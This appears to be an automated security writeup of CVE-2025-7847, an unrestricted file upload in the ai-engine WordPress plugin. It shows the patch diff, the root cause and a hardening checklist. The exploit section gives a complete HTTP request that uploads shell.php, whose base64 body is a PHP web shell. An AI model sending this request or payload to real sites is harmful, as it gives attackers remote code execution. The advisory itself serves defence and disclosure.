ANALYSIS · 8f22910c· FINISHED 2026-06-13 · PATCHDIFF

ai-engine2.9.4 → 2.9.5✓ COMPLETED

Files9

Vulnerable7

True positives0

CVE matched2

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2025-7847

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 9 CVE 2 Vuln 7

SORT

2 files · page 1/1

classes/api.php

AI: 2 vulnerabilities

CWE-20: Improper Input ValidationCWE-434: Unrestricted Upload of File with Dangerous Type CVE-2025-7847

#%!d(float64=002)

classes/modules/files.php

AI: 1 vulnerabilities

CWE-434: Unrestricted Upload of File with Dangerous Type CVE-2025-7847

#%!d(float64=006)

1–2 of 2

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2025-7847

Security writeup for CVE-2025-7847

✓ 2 FILES

## The Exploit

An authenticated attacker with Subscriber-level access can upload arbitrary file types to the server by sending a REST API request to the `rest_simpleFileUpload` endpoint without proper file type validation.

```http
POST /wp-json/ai-engine/v1/simpleFileUpload HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <subscriber_token>

{
  "filename": "shell.php",
  "base64": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
}
```

The attacker observes a `200 OK` response with the uploaded file path in the JSON response. The malicious PHP file is written to the WordPress uploads directory and becomes executable, allowing the attacker to execute arbitrary code on the server by visiting the file directly via HTTP.

## What the Patch Did

**Before:**
```php
else {
  $extension = pathinfo( $filename, PATHINFO_EXTENSION );
}
$newFilename = $refId . '.' . $extension;
$unique_filename = wp_unique_filename( wp_upload_dir()['path'], $newFilename );
$destination = wp_upload_dir()['path'] . '/' . $unique_filename;
```

**After:**
```php
else {
  $extension = pathinfo( $filename, PATHINFO_EXTENSION );
}

// Validate file type using WordPress built-in function
$validate = wp_check_filetype( $filename );
if ( $validate['type'] == false ) {
  throw new Exception( 'File type is not allowed.' );
}
$newFilename = $refId . '.' . $extension;
$unique_filename = wp_unique_filename( wp_upload_dir()['path'], $newFilename );
$destination = wp_upload_dir()['path'] . '/' . $unique_filename;
```

The patch added a call to `wp_check_filetype()`, WordPress's built-in MIME type validation function. This function checks the filename against a whitelist of allowed MIME types and file extensions defined in WordPress's global `$allowed_mime_types`. If the function returns `false` for the `type` key, the file upload is rejected with an exception. This prevents dangerous file types like `.php`, `.exe`, `.jsp`, and others from being saved to the server.

## Root Cause

**CWE-434: Unrestricted Upload of File with Dangerous Type.** The `rest_simpleFileUpload()` function accepted a `filename` parameter from the REST API request without validating its file type. The code extracted only the extension using `pathinfo()` and constructed a new filename, but never checked whether that extension corresponded to a file type that should be allowed on the server. An attacker at the Subscriber authentication level could supply `shell.php`, `webshell.jsp`, `backdoor.phtml`, or any other executable extension, and the file would be written to `wp-uploads/` without restriction. The authentication boundary (Subscriber+) was crossed without the necessary authorization check for file type safety.

## Why It Works

The load-bearing line is `if ( $validate['type'] == false )`. Remove it, and the exception is never thrown; the file upload proceeds. The validation itself happens in `wp_check_filetype()`, which performs a lookup against WordPress's MIME type whitelist. The conditional is what turns that lookup result into an enforcement gate. The engineer also wrapped the logic in an `else` branch to handle cases where the filename is user-supplied, ensuring validation happens consistently whether the extension came from a user input or a fallback. Without this gate, even if `wp_check_filetype()` is called, its result is silently ignored and the upload completes.

## Hardening Checklist

- Call `wp_check_filetype()` on *every* user-supplied filename before writing it to disk, and throw an exception or return a 400 error if the type is false; do not silently allow fallback behaviour.
- Use `wp_upload_bits()` or `wp_handle_upload_prefilter` hook instead of manually constructing file paths, as these functions apply validation automatically.
- Implement a capability check (`current_user_can()`) at the REST endpoint level to restrict file uploads to users with explicit permission, not just any authenticated user.
- Set the upload directory permissions to `0755` (or more restrictive) and ensure `.htaccess` or webserver configuration explicitly blocks execution of scripts in the uploads folder (e.g., `php_flag engine off` or `<FilesMatch "\.php$"> Deny from all </FilesMatch>`).
- Validate the `Content-Type` header and `base64` payload separately; never trust the filename extension alone when handling base64-encoded uploads.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-7847

CVE CVE-2025-7847

PRODUCT ai-engine

AFFECTED ≤ 2.9.4

FIXED IN 2.9.5

STATUS Generated

Security writeup · CVE-2025-7847

Source files · 2

classes/api.php Linked

classes/modules/files.php Linked

↗ NVD